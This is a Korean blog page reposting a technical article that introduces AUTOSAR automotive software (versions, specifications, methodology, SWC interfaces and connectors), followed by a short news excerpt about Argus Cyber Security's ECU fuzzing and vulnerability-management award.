자동차는 사용자의 편리와 안전을 위해 ECU와 새로운 기능들을 추가하고 있다. 이로 인해 S/W 코드가 증가하고 재사용성이 떨어지는 문제점이 부각됐고, ECU의 효율성과 SW 재사용성을 높이고자 하는 취지에서 AUTOSAR가 등장하게 됐다(하드웨어의 독립성과 소프트웨어 컴포넌트의 표준화를 목표). 
AUTOSAR는 개방형/표준화된 자동차 SW 구조로 자동차 제조사, 부품사, 툴 개발사가 함께 참여해 2002년 BMW 등 Core 멤버들이 초기 논의를 했다. AUTOSAR는 신뢰성 있는 SW 제작을 위한 SW플랫폼 제정, ECU SW 구조 표준화, 향상된 성능과 안전성 그리고 친환경적인 혁신적 전자 시스템 기반 구축에 목표를 두고 2003년 6월 출범(자동차 전자화 표준 단체)했다. AUTOSAR는 OEM과 공급업체 사이에서 SW 모듈의 재사용과 교환가치를 증가시켜 통합된 E/E 아키텍쳐의 복잡한 관리를 향상시키는 것을 목표로 한다(그림 1).



 
그림 2에서 보는 것과 같이 올 상반기에 AUTOSAR 4.1.1 버전이 릴리스됐다. AUTOSAR 4.1.1 버전과 AUTOSAR 4.0.3 버전과의 차이점은 새로운 BSW 모듈이 추가된 것이라 할 수 있다. AUTOSAR 4.0.3 버전은 전체 69개의 모듈로 구성돼 있었는데 AUTOSAR 4.1.1 버전은 Ethernet 모듈인 DoIP(Diagnostic over IP), Sd(Service Discovery), TcpIP(TCP/IP stack)과 J1939 관련 모듈인 J1939Dcm, J1939Nm, J1939Rm 등이 추가돼  77개 모듈로 구성됐다. 
Exploitation Plan에서 보듯이 2016년에는 AUTOSAR가 적용된 ECU가 약 3억 개(2012년 대비 10배)에 달할 것으로 예상된다. 이중 대부분은 AUTOSAR 3.X 와 AUTOSAR 4.X 기반이 될 것으로 예상된다. 현재 대부분 제조사는 2015년부터는 AUTOSAR가 적용된 제품만을 납품받겠다고 하고 있다. 이에 따라 관련 업체들은 AUTOSAR 기반 제품 개발을 위해 많은 노력을 기울이기 있다. 
 
 
일본과 중국 AUTOSAR   
 
일본의 경우 JASPAR(Japan Automotive Software Platform And Architecture)라는 AUTOSAR 대응 단체가 2004년 9월 설립됐다. 현재 116개 정도의 회원사가 활동 중이다. JASPAR는 일본 경제산업성으로부터 연구비를 지원 받아 두 단계에 걸쳐 국가 프로젝트를 수행하고 있다. 1차 국가 프로젝트(2007년~2009년) 시기에는 “AUTOSAR 국산화 및 실제 차량 테스트”를, 2차 국가 프로젝트(10년 ~ 13년)는 “기능안전 ISO 26262 가이드라인 배포 및 AUTOSAR 4.X 구현”을 진행 중이다. 일본은 AUTOSAR를 일본 자동차 표준 개발 플랫폼으로 채택했고, 이에 따라 대부분 제조사의 AUTOSAR 시스템 설계기술 지식 수준이 전문가 수준에 이르고 있다. 일본은 2013년 6월부터 차량용 Ethernet 대응을 위해 AUTOSAR 4.1.1을 중심으로 개발 중에 있다.
중국 CASA(China Automotive Software Architecture)는 2011년 4월 7일 출범했다. 20개 회원사가 활동을 하고 있다. 회원사 중에는 대학도 포함이 돼 있다. 전반적으로 일본처럼 많은 활동을 하고 있지는 않다. CASA에 대한 정보는 CASA 홈페이지인 http://www. chinacasa.org에서 확인이 가능하다. 
 
AUTOSAR 명세서 
AUTOSAR Base 개발을 하는데 있어 가장 필요한 것이 AUTOSAR 명세서라 할 수 있다. AUTOSAR 홈페이지에 접속하면 명세서를 다운로드 받을 수 있다.
 
AUTOSAR 홈페이지: http://www.autosar.org
참고: AUTOSAR 명세서는 공개돼 있기 때문에 회원가입 없이 다운로드 받을 수 있다.
 
명세서를 다운로드 받을 때 자세히 보면 Category가 Standard Specifications(표준 요구사항)과 Auxiliary Material(보조설명)이라고 분류돼 있는 것을 볼 수 있다. 명세서를 다운로드 할 때 Category 별로 정리를 해두면 편리할 것이다.
 
Standard Specification
 - AUTOSAR partnership의 규범적 결과를 설명하는 문서, 모델 또는 포맷이다. 결과물들은 AUTOSAR를 준수하기 위해 명시된 내용을 충족해야만 한다. 
 
Auxiliary Material
- AUTOSAR 파트너십의 표준 스펙의 편리성을 설명하거나 향상시키기 위한 문서, 모델 또는 포맷이다. 보조 자료는 AUTOSAR 표준의 더 나은 이해와 적합한 사용을 위해 읽거나 사용하는 것을 추천하지만, 필수 사항은 아니다.
 
여기서 주의해야 할 사항이 한 가지 있다. 명세서를 다운로드 받을 때 최신 버전 명세서뿐만 아니라 이전 명세서(Release 2.0 ~ Release 4.0)도 받아 두는 것이 좋다. 필자도 경험했듯이 AUTOSAR 최신 명세서에서 이해가 안 되는 부분이 반드시 존재할 것이다. 이런 경우 이전 명세서에서 해당 내용을 확인하면 좀 더 쉽게 이해할 수 있다. AUTOSAR에서는 새로운 버전의 명세서가 작성이 될 때 이전 명세서의 내용 중 일부가 생략된다. 이는 이전 명세서를 알고 있다는 가정 하에 명세서를 작성하기 때문이다. 명세서를 볼 때 이해가 안가는 부분이 있으면 꼭 이전 버전 명세서를 확인하기 바란다.
 
추가적으로 시스템 설계 단계에서는 다음 명세서가 기본이 되니 참조 바란다.
 
Standard Specification
AUTOSAR_MMOD_XMLSchema
AUTOSAR_SWS_RTE.pdf
AUTOSAR_SWS_StandardTypes.pdf
AUTOSAR_TPS_SoftwareComponentTemplate.pdf
 
Auxiliary Material
AUTOSAR_MMOD_MetaModel
AUTOSAR_EXP_VFB.pdf
AUTOSAR_EXP_LayeredSoftwareArchitecture.pdf
AUTOSAR_SWS_IOHardwareAbstraction.pdf
AUTOSAR_TR_SWCModelingGuide.pdf



 
AUTOSAR Methodology 실무 
AUTOSAR 시스템 개발에 있어 몇 단계에 대한 공통적인 기술 접근법이 요구되는데 이 접근법을 “AUTOSAR Methodology”라고 한다. 그림 5는 AUTOSAR Methodology와 함께 시스템을 만들기 위한 설계 단계들의 개략적인 개요와 그 결과로 생긴 ECU들과 topology를 보여준다. 그림에서 보듯이 1. 시스템 설계 단계, 2. ECU 설정 단계, 3. BSW Generator 단계로 나눌 수 있는데 시스템 설계 단계, ECU 설정 단계는 ARXML을 작성하는 단계로서 전체 과정에 약 70% 이상의 업무량을 차지하고 있다. BSW Generator 단계에서는 앞 1, 2 단계에서 설정 후 생성된 코드를 가지고 Integration 작업을 진행해야 된다.
명세서에서 1, 2, 3 단계에 대한 내용을 살펴보도록 하자. 일단 해당 명세서를 보기 위해서는 UML 툴이 설치돼야 한다. AUTOSAR 필수라고 할 수 있는 EA(Enterprise Architect)를 다운로드 받아 설치하자. EA lite 툴은 Viewer 기능만 제공하며 Editor 기능을 제공하는 툴은 구매해야한다.
이제 EA 툴을 가지고 AUTOSAR _MetaModel.eap와 AUTOSAR_BSW _UML_Model.eap를 확인할 수 있다. 두 파일은 만약 위에 필자가 말한 경로로 다운로드를 했으면 Auxiliary 폴더에 Zip 파일 형식으로 압축이 돼 있을 것이다. 만약 명세서를 다운로드 받지 않았으면 하기 표에 입력돼 있는 URL을 참고하기 바란다. 
 
 
 
AUTOSAR_MetaModel.eap와 AUTOSAR_BSW_UML_Model.eap 파일은 실행시켜보면 알 수 있겠지만, UML로 작성돼 있는 파일이다. 이 두 파일은 AUTOSAR 명세서의 모든 내용이 UML 그림으로 있고, 명세서에 없는 내용도 UML로 구성돼 있다. 만약 AUTOSAR 구현 작업을 할 때 두 파일에 요약된 정보를 가지고도 구현이 가능하니 잘 숙지해 두는 것이 좋다. 만약 UML에 대해 사전 지식이 없다면 AUTOSAR에서는 3가지 Diagram(Class Diagram, Sequence Diagram, State Machine Diagram)이 사용되니 3가지만은 필히 숙지해야 된다.
 
AUTOSAR_MetaModel.eap: 개발 Tool을 만드는데 필수로 XML에 대한 정의를 UML로 표현하고 있다(Class Diagram)
AUTOSAR_BSW_UML_Model.eap: 소스 코드를 구현하는 사람이 필요한 각 BSW모듈에 대한 상관관계와 API 함수의 정의 및 설명이 돼 있다(Sequence Diagram).

 
AUTOSAR_MetaModel.eap 파일은 그림 6과 같이 M1, M2로 구성돼 있다. 시스템 설계 Tool에서 필수로 사용하는 Meta-Model M2는, AUTOSAR에서 작성될 XML 형식에 대한 규약이 스키마 파일인 Autosar_xx.xsd가 UML로 정의돼 있다. UML과 XML은 1 : 1로 동일하다. Autosar_xx.xsd가 UML로 표현된 이유는 스키마 자체로는 차량 설계를 위한 XML 간 제약성을 표현하는데 한계가 있어, 스키마 Autosar_xx. xsd에서 표현하지 못한 것들을 UML로 표현했다. 그리고 이것을 AUTOSAR의 UML Template로 시스템 설계에 있어서 XML 제약성을 규정하고 있다. 그렇지만 UML로 XML 설계의 제약성을 표현하는 것도 제약성이 있어서, 각각의 UML Template을 PDF파일 문서로 추가 설명하고 있다. 재미있는 사실은 스키마 자체에서 XML 간 제약성과 UML Template의 XML 제약성은 각각의 Template PDF 문서에서 설명을 하지 않는다는 것이다. 때문에서 시스템 설계 툴을 만들기는 어렵지 않으나, 시스템 설계가 타당한지를 보는 XML 검증 툴은 만들기 어렵다. 시스템 설계가 타당한지 검증을 하려면 스키마와 UML Template의 이해가 필수다. 
1개의 ECU에 대한 BSW 모듈 설정 툴에서 필수로 사용하는 Meta-Model M1은 AUTOSAR_MOD_ECUConfigurationParameters.arxml 파일이다. 이 파일은 AUTOSAR의 BSW 모듈을 구현하는 각 회사 확장이 필요할 때 독자 기능(AUTOSAR에서 지원하지 않는 기능)을 정의해 XML 규약을 추가해 넣을 수 있다. 대표적으로 AUTOSAR OS, MCAL, FlexRay, RTE를 들 수 있다. AUTOSAR OS 경우는 인터럽트 벡터 테이블 번호, 인터럽트 우선순위 등, MCAL은 MCAL 지원을 위한 Complex Driver 설정기능 등, FlexRay는 독자적인 통신 설정 등, RTE의 경우는 OS 없는 상태에서 작동하는 설정 등이 있다. 
따라서 각 자동차 회사마다 AUTOSAR_ MOD_ECUConfigurationParameters.arxml가 다르고 자동차 회사의 요구에 의해서 가장 많이 수정된다고 볼 수 있다. 
즉, AUTOSAR_MetaModel.eap의 Meta-model을 이해해야 AUTOSAR_MOD_ ECU ConfigurationParameters.arxml을 작성하는 방법을 이해 할 수 있다.
그림 7은 AUTOSAR_BSW_UML_Model.eap 화면으로 Interaction view에서는 각 모듈별 함수의 흐름이 어떻게 되는지를 알아 볼 수 있게 돼 있다. 개발자가 코딩을 할 때 흐름 파악에 도움이 된다. SoftwarePackage의 경우 해당 모듈이 Generator 되면 생성할 코드에 대한 interface 정보와 포함되는 header 파일의 정보를 확인 할 수 있다. 
지금까지 설명한 내용을 정리하면 표1 같이 정리가 된다.  


 
앞에서도 언급했지만 AUTOSAR 개발에 있어 가장 많은 부분을 차지하는 것이 XML 작업이다. 특히 시스템 설계 단계에서는 사용할 RTE API에 대한 설계도 해야되는데, 이때 RTE Generator 기능이 어디까지 지원하는지 우선 확인한 후 작업을 해야한다. 대부분의 Generator가 RTE API를 제공하더라도 모든 기능을 지원하는 것이 아니기 때문에 업체에서 제공하는 문서에서 API 안에 요구사항 항목이 지원되는지 여부를 확인해야 된다. 이 항목들은 대부분 명세서의 주어진 번호로 표기돼 있어 미지원 항목에 대해서는 명세서 확인 후 설계 단계에서 제외를 하는 것이 좋다. 만약 설계 단계에서 미지원 항목을 설계하더라도 RTE Generator에서는 미지원 항목에 대해서는 코드 생성이 안 되게 된다. 
시스템 설계 단계에서 지정된 파일명, 함수명, 변수명이 Generator로 생성되면 적용이 되는데 이때에도 주의해야 될 사항이 있다. 생성된 SWC 소스에서 파일, 함수, 변수에 대해서 변경을 할 경우가 발생하면 시스템 설계 단계에서 변경을 한 후 소스를 다시 생성해야 되기 때문에 초기에 파일, 함수, 변수에 대한 정의를 한 후 설계를 해야한다. 
BSW Generator 단계의 Service SWC는 코드가 자동생성 되긴 하지만 Stub Function으로 생성이 되기 때문에 해당 부분 내용은 개발자가 직접 코드를 작성해줘야 정상 동작할 수 있다. 그림 8의 Sequence Diagram을 보면 EcuM의 경우 BSW 모듈이기는 하나 Service SWC로 Integration Code 영역은 개발자에 의해서 구현이 필요한 부분이다. 즉 Intergration Code 영역으로 호출되는 EcuM_EnableWakeupSource()의 경우는 Stub Function만 생성되는 것이고 해당 Function 내부는 개발자에 의해서 소스 코드가 추가돼야 한다. 
그림 9는 실질적 AUTOSAR에서 개발 업무를 진행할 때 작업해야 될 부분을 도식화 해 놓은 것이다. 



 
시스템 설계 단계 SWC 설계
시스템 설계 단계에 있는 SWC 설계 과정에 대해서 좀 더 알아보도록 하겠다. SWC (Software Component)는 AUTOSAR 컴포넌트 중에서 응용 프로그램의 기본 단위가 되는 컴포넌트를 말한다. SWC는 다른 SWC와 통신하기 위해서 Port를 사용하며 Infrast ructure에 독립적이다. 또한 SWC는 응용 프로그램의 실행 단위가 되며 각 Component는 하나의 <SWC_Name>.c 소스 파일과 대응할 수 있고 System Configuration 단계에서 하나의 ECU에 배치된다. 
SWC는 Atomic Software Component로 구성이 되고 Atomic Software Component는 7가지 Component(Application software component, Sensor-actuator software component, Service software component, ECU-abstraction software component, Complex device driver software component, NVBlock software component, Service Proxy software component) 를 가지고 있다. 
SWC는 서로 통신을 하기 위해 Sender-receiver interface, Client-server interface를 사용한다.


 
Sender-receiver Interface는 Sender가 receiver 측에 다양한 정보를 제공하는 것으로 데이터를 보내는 방식으로 송신자와 수신자로 구분된다. 그림 10은 Sender의 PPort를 통해 DataElement를 송신하면 Receiver Rport로 수신하는 샘플 이미지다. RTE API 중 Sender-Receiver interface를 사용하는 API는 Rte_write, Rte_read, Rte_send, Rte_receive, Rte_Iwrite, Rte_Iread 등이 있다. 
Client-server Interface의 경우 Client는 server가 필요한 때 설정 매개 변수를 전송해 통신을 시작하고 Server는 RTE 형태로 client로부터 들어오는 통신 요청을 대기하다 요청이 오면 해당 정보에 관련된 내용을 전송한다. 즉 Client에게 Server 측의 Operation을 제공하는 것으로 Client가 Server의 Operation 함수를 호출하는 방식이라고 생각하면 된다. 
그림 11은 Client-Server Interface에 대한 Sample로 C/S Interface의 경우 Arguments와 Application Errors의 값에 따라 생성되는 함수의 이름이 변경이 된다. 만약 Arguments와 ApplicationErrors 모두 설정돼 있으면 ApplicationErrors가 설정되기 때문에 Return 값이 Std_Return_Type으로 설정이 되고, Argument가 int data가 설정이 돼 있어 Swc2에 함수는 Std_Return_Type f2(int data)라는 함수가 생성된다.
S/R Interface, C/S Interface에서 보면 각 Port를 연결시켜주는 부분이 있다. 이 부분을 Connector라 하고 AUTOSAR에는 3개의 Connector가 있다.

 
Assembly SW Connector: Swc 간 Port를 연결하는 Connector
Delegation SW Connector: Swc 와 CSwc 간 Port를 연결하는 Connector
PassThrough SW Connector: CSwc 간 Port를 연결하는 Connector
 
특히 PassThrough SW Connector의 경우 AUTOSAR 4.1.1 명세서에 새로 추가된 Connector로 이전 명세서에서는 해당 Connector를 Assembly SW Connector라 했다. 4.1.1에 추가된 사항이니 기억해 두는 것이 좋다. 
첫 회에는 AUTOSAR에 대한 주변국 상황과 실무 작업 시 필요한 기본 지식에 대해 살펴봤다. 다음 회에는 AUTOSAR OS에 대해 살펴볼 것이다. 근래에 들어 AUTOSAR에 대한 관심이 증가되고 웹상에서도 AUTOSAR에 대한 기사가 늘어가고 있는 추세다. AUTOSAR는 내용이 너무 많아 국내에서도 교육과정이 거의 없는 상황이고 전문가도 부족한 실정이다. 매거진에 상세한 설명을 하기에는 무리가 있어 실무를 하는데 알아야 하는 사항 위주로 기재를 하려 노력했다. 
향후 연재에서도 각 주제에 대해 실무에서 필요한 사항을 중심으로 소개할 예정이다.  AE

'경로 및 정보' 카테고리의 다른 글

CVE 2023 21716 Poc  (0) 2023.03.10
arxml-app  (0) 2023.03.09
Argus 기사  (0) 2023.03.09
자동차 버그바운티 경로  (0) 2023.03.07
Verification(검증), Validation(검사)  (0) 2023.03.06
블로그 이미지

wtdsoul

,

Argus 기사

경로 및 정보 2023. 3. 9. 14:41

아르거스, 뛰어난 침투 테스트 기술로 ‘올해 자동차 사이버 보안 혁신상’에 선정 (elec4.co.kr)

 

아르거스, 뛰어난 침투 테스트 기술로 ‘올해 자동차 사이버 보안 혁신상’에 선정

자동차 사이버 보안 분야의 글로벌 선두 기업인 아르거스 사이버 시큐리티(Argus Cyber Security)가 ‘오토테크 혁신상(Auto Tech Breakthrough Awards)’ 시상식에서 ‘올해 자동차 사이버 보안 혁신상(Automoti

www.elec4.co.kr

 

보편적인 테스트 기술 중 하나는 퍼징(Fuzzing)으로, 버그가 나타날 때까지 차량 전자제어 장치(ECU)와 같은 타겟 시스템에 다중의 메시지를 전송하는 방식이다. 가장 이상적인 퍼징 방법은 커버리지 유도 퍼징(Coverage-guided fuzzing)이다. 그러나 커버리지 유도 퍼징은 설정 중 소요되는 시간상의 문제로 임베디드 소프트웨어의 바이너리 코드를 테스트하는 것은 사실상 불가능하다.

 

이 기술은 모니터링, 탐지 및 차량 자산의 취약성 완화를 자동화하는 아르거스 VVM솔루션(차량 취약성 관리 솔루션, Argus Vehicle Vulnerability Management)을 보완한다. 6500만 대 이상의 차량을 보안하기 위한 프로젝트 체결을 통해 자동차 제조업체들이 아르거스에 의존해 차량 취약성 노출 위험을 인지하고, 신속하게 대응할 수 있도록 지원하고 있다

 

 

 

 

 

 

'경로 및 정보' 카테고리의 다른 글

arxml-app  (0) 2023.03.09
AUTOSAR 기술 이해  (0) 2023.03.09
자동차 버그바운티 경로  (0) 2023.03.07
Verification(검증), Validation(검사)  (0) 2023.03.06
품질관리_자동차_품질관리 용어  (0) 2023.03.06
블로그 이미지

wtdsoul

,